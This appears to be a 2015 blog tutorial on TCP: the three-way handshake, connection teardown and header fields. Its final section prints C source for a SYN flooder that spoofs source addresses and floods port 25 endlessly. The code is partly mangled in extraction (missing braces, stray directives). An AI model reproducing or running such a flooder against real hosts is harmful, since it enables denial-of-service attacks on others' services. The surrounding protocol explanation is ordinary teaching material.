Transmission Control Protocol

Home / Transmission Control Protocol

Transmission Control Protocol

December 9, 2015 | Article | 2 Comments

The Transmission Control Protocol (TCP) is one of the core protocols of the Internet protocol suite (IP), and is so common that the entire suite is often called TCP/IP. TCP provides reliable, ordered, error-checked delivery of a stream of octets between programs running on computers connected to a local area network, intranet or the public Internet. It resides at the transport layer (4th layer).

TCP is a transport layer protocol. It provides feature of flow control, segmentation/desegmentation, and error control of a packet. TCP also have job to multiplex a packet data to corresponding application which listen to certain port.

Connection Establishment

TCP Handshake is a term refer to a procedure for connection initiation between two nodes. As stated before, a TCP is connection oriented protocol. Therefore, a send-receive operation should be done on open session, or in short a connection must be properly established before data transfer can be made.

TCP connection is managed by an operating system through a programming interface that represents the local end-point for communications, the Internet socket.

To establish a connection, TCP uses a three-way handshake. Before a client attempts to connect with a server, the server must first bind to and listen at a port to open it up for connections: this is called a passive open. Once the passive open is established, a client may initiate an active open. To establish a connection, the three-way (or 3-step) handshake occurs:

  1. SYN: The active open is performed by the client sending a SYN to the server. The client sets the segment’s sequence number to a random value A.
  2. SYN-ACK: In response, the server replies with a SYN-ACK. The acknowledgment number is set to one more than the received sequence number i.e. A+1, and the sequence number that the server chooses for the packet is another random number, B.
  3. ACK: Finally, the client sends an ACK back to the server. The sequence number is set to the received acknowledgement value i.e. A+1, and the acknowledgement number is set to one more than the received sequence number i.e. B+1.

At this point, both the client and server have received an acknowledgment of the connection. The steps 1, 2 establish the connection parameter (sequence number) for one direction and it is acknowledged. The steps 2, 3 establish the connection parameter (sequence number) for the other direction and it is acknowledged. With these, a full-duplex communication is established.

Connection Termination

The connection termination phase uses a four-way handshake, with each side of the connection terminating independently. When an endpoint wishes to stop its half of the connection, it transmits a FIN packet, which the other end acknowledges with an ACK. Therefore, a typical tear-down requires a pair of FIN and ACK segments from each TCP endpoint. After both FIN/ACK exchanges are concluded, the side which sent the first FIN before receiving one waits for a timeout before finally closing the connection, during which time the local port is unavailable for new connections; this prevents confusion due to delayed packets being delivered during subsequent connections.

A connection can be “half-open”, in which case one side has terminated its end, but the other has not. The side that has terminated can no longer send any data into the connection, but the other side can. The terminating side should continue reading the data until the other side terminates as well.

It is also possible to terminate the connection by a 3-way handshake, when host A sends a FIN and host B replies with a FIN & ACK (merely combines 2 steps into one) and host A replies with an ACK.This is perhaps the most common method.

It is possible for both hosts to send FINs simultaneously then both just have to ACK. This could possibly be considered a 2-way handshake since the FIN/ACK sequence is done in parallel for both directions.

Data Processing in TCP

Transmission Control Protocol accepts data from a data stream, divides it into chunks, and adds a TCP header creating a TCP segment. The TCP segment is then encapsulated into an Internet Protocol (IP) datagram, and exchanged with peers.

For example case, if you have a data like this:


our node, receiver node, or intermediate node who route the packet might not have the same size in bandwidth. Therefore it should be divided into chunks. TCP should know how much datagram can be handle by your network. Let say, it will divide data into following:

....  ....  ....  ....  ....  ....  ....  ....

TCP then append a header in the front of each datagram. Let T become the TCP header, our datagram would be:

T....  T....  T....  T....  T....  T....  T....  T....

TCP Segment Structure

When a TCP segment is formed, each TCP segment will have following structure:



Source port and destination port is a port number on source node (sender) and destination node (receiver), respectively. They are 16-bit unsigned integer which numbered from 0-65535.

Sequence number

A 32 bits data.

A sequence number entry has dual role.

  • If the SYN flag is set (1), then this is the initial sequence number. The sequence number of the actual data byte and the acknowledged number in the corresponding ACK are then this sequence number + 1
  • If the SYN flag is clear (0), then this is the accumulated sequence number of the frist data byte of this segment for the current session.

A sequence number is used so a receiver end can assembly all segments to same data. This will ensure that both data sent and received on both end are same, in same order without wrong position. The sequence number is 32-bit. The numbering is based on which octet the data is. Therefore, if data is divided into 500 octet per segment, the sequence number would be 0 for first segment, 500 for second segment, 1000 for third segment, and so on.

Acknowledgment number

A 32 bits data. If the ACK flag is set then the value of this field is the next sequence number that the receiver is expecting. The first ACK sent by each end acknowledges the other end’s initial sequence number itself, but no data.

Data offset

A 4 bits data. Data offset is a number which specifying the size of TCP header in 32-bit words. The minimum size of header is 5 words and the maximum is 15 words thus giving the minimum size of 20 bytes and maximum of 60 bytes, allowing for up to 40 bytes of options in the header. This field gets its name from the fact that it is also the offset from the start of the TCP segment to the actual data.


A 3 bits data. This field is reserved for future use and should be set to zero.


A 9 bits data. This fields has 9 flag defined which has 1 bit each. The flags are:

  1. NS – ECN-nonce concealment protection
  2. CWR – Congestion Window Reduced (CWR) flag is set by the sending host to indicate that it received a TCP segment with the ECE flag set and had responded in congestion control mechanism.
  3. ECE – ECN echo indicates:
    1. If the SYN flag is set (1), that the TCP peer is ECN capable
    2. If the SYN flag is clear (0), that a packet with Congestion Experienced flag in IP header is received during normal transmission
  4. URG – Indicates that the Urgent pointer field is significant
  5. ACK – Indicates that the Acknowledgment field is significant. All packets after the initial SYN packet sent by the client should have this flag set.
  6. PSH – Push function. Asks to push the buffered data to the receiving application.
  7. RST – Reset the connection
  8. SYN – Synchronize sequence numbers. Only the first packet sent from each end should have this flag set. Some other flags change meaning based on this flag, and some are only valid for when it is set, and others when it is clear.
  9. FIN – No more data from sender

Window size

A 16 bits data which defines the size of the receive window, which specifies the number of window size units (by default, bytes) (beyond the sequence number in the acknowledgment field) that the sender of this segment is currently willing to receive


A 16 bits data used for error checking of the header and data.

A checksum is a number computed from all datagram. When a segment is received on the other node, a data checksum is recomputed and then compared to checksum entry in the header. If the calculation match indicating the segment has not been altered or arrive safe on destination. If not, TCP will ask for retransmission.

Urgent pointer

A 16 bits data. If the URG flag is set, then this 16-bit field is an offset from the sequence number indicating the last urgent data byte


A variable length data which can have 0-320 bits, divisible by 32.

The length of this field is determined by the data offset field. Options have up to three fields: Option-Kind (1 byte), Option-Length (1 byte), Option-Data (variable). The Option-Kind field indicates the type of option, and is the only field that is not optional. Depending on what kind of option we are dealing with, the next two fields may be set: the Option-Length field indicates the total length of the option, and the Option-Data field contains the value of the option, if applicable. For example, an Option-Kind byte of 0x01 indicates that this is a No-Op option used only for padding, and does not have an Option-Length or Option-Data byte following it. An Option-Kind byte of 0 is the End Of Options option, and is also only one byte. An Option-Kind byte of 0x02 indicates that this is the Maximum Segment Size option, and will be followed by a byte specifying the length of the MSS field (should be 0x04). Note that this length is the total length of the given options field, including Option-Kind and Option-Length bytes. So while the MSS value is typically expressed in two bytes, the length of the field will be 4 bytes (+2 bytes of kind and length). In short, an MSS option field with a value of 0x05B4 will show up as (0x02 0x04 0x05B4) in the TCP options section.


The TCP header padding is used to ensure that the TCP header ends and data begins on a 32 bit boundary. The padding is composed of zeros.

TCP Segment in Low Level Socket Programming

Only processes with an effective user ID of 0 or the CAP_NET_RAW capability are allowed to open raw sockets.

The basic concept of low level sockets is to send a single packet at one time with all the protocol headers filled in by the program instead of the kernel. Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we’ll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data.

To inject our own packets, all we need to know is the structures of the protocols that need to be included (we have cover it above). In programming, the packet is represented as a structure of data. Code below is taken from Linux header, netinet/tcp.h:

 * TCP header.
 * Per RFC 793, September 1981.
// This is BSD'ish TCP Header

struct tcphdr
    u_int16_t th_sport;         /* source port */
    u_int16_t th_dport;         /* destination port */
    tcp_seq th_seq;             /* sequence number */
    tcp_seq th_ack;             /* acknowledgement number */
    u_int8_t th_x2:4;           /* (unused) */
    u_int8_t th_off:4;          /* data offset */
#  endif
    u_int8_t th_off:4;          /* data offset */
    u_int8_t th_x2:4;           /* (unused) */
#  endif
    u_int8_t th_flags;
#  define TH_FIN        0x01
#  define TH_SYN        0x02
#  define TH_RST        0x04
#  define TH_PUSH       0x08
#  define TH_ACK        0x10
#  define TH_URG        0x20
    u_int16_t th_win;           /* window */
    u_int16_t th_sum;           /* checksum */
    u_int16_t th_urp;           /* urgent pointer */

The struct is self explained if you have read the previous section.

Now, by putting together the knowledge about the protocol header structures with some basic C functions, it is easy to construct and send any datagram(s). We will demonstrate this with a small sample program that constantly sends out SYN requests to one host (Syn flooder). Please note that following snippet also has low level IP packet construction which is not defined on this article.

#define __USE_BSD	/* use bsd'ish ip header */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD	/* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>

#define P 25		/* lets flood the sendmail port */

unsigned short		/* this function generates header checksums */
csum (unsigned short *buf, int nwords)
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;

main (void)
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	/* open raw socket */
  char datagram[4096];	/* this buffer will contain ip header, tcp header,
			   and payload. we'll point an ip header structure
			   at its beginning, and a tcp header structure after
			   that to write the header values into it */
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
  struct sockaddr_in sin;
			/* the sockaddr_in containing the dest. address is used
			   in sendto() to determine the datagrams path */

  sin.sin_family = AF_INET;
  sin.sin_port = htons (P);/* you byte-order >1byte header values to network
			      byte order (not needed on big endian machines) */
  sin.sin_addr.s_addr = inet_addr ("");

  memset (datagram, 0, 4096);	/* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);	/* no payload */
  iph->ip_id = htonl (54321);	/* the value doesn't matter here */
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;		/* set it to 0 before computing the actual checksum later */
  iph->ip_src.s_addr = inet_addr ("");/* SYN's can be blindly spoofed */
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  tcph->th_sport = htons (1234);	/* arbitrary port */
  tcph->th_dport = htons (P);
  tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
  tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
  tcph->th_x2 = 0;
  tcph->th_off = 0;		/* first and only tcp segment */
  tcph->th_flags = TH_SYN;	/* initial connection request */
  tcph->th_win = htonl (65535);	/* maximum allowed window size */
  tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
		      should fill in the correct checksum during transmission */
  tcph->th_urp = 0;

  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
   that the kernel knows the header is included in the data, and doesn't
   insert its own header into the packet before our data */

  {				/* lets do it the ugly way.. */
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
      printf ("Warning: Cannot set HDRINCL!\n");

  while (1)
      if (sendto (s,		/* our socket */
		  datagram,	/* the buffer containing headers and data */
		  iph->ip_len,	/* total length of our datagram */
		  0,		/* routing flags, normally always 0 */
		  (struct sockaddr *) &sin,	/* socket addr, just like in */
		  sizeof (sin)) < 0)		/* a normal send() */
	printf ("error\n");
	printf (".");

  return 0;

Appendix A: International Standard

  1. RFC 675
  2. RFC 793
  3. RFC 1122
  4. RFC 2581
  5. RFC 3168 (ECE and CWR flag)
  6. RFC 3540 (NS flag)
  7. RFC 5681


About Author

about author


A man who is obsessed to low level technology.

  1. NodeJS TCP - Xathrya.ID

    […] TCP or Transmission Control Protocol, is a connection oriented protocol for data communication and data transmission in network. It provides reliability over transmitted data so the packets sent or received is guaranteed to be in correct format and order. […]

  2. NodeJS Datagrams (UDP) - Xathrya.ID

    […] is a connectionless protocol that does not provide the delivery characteristics that TCP does. When sending UDP packets, there is no guarantee for the order of packets and no guarantee for […]

Leave a Reply

Your email address will not be published. Required fields are marked *

Social media & sharing icons powered by UltimatelySocial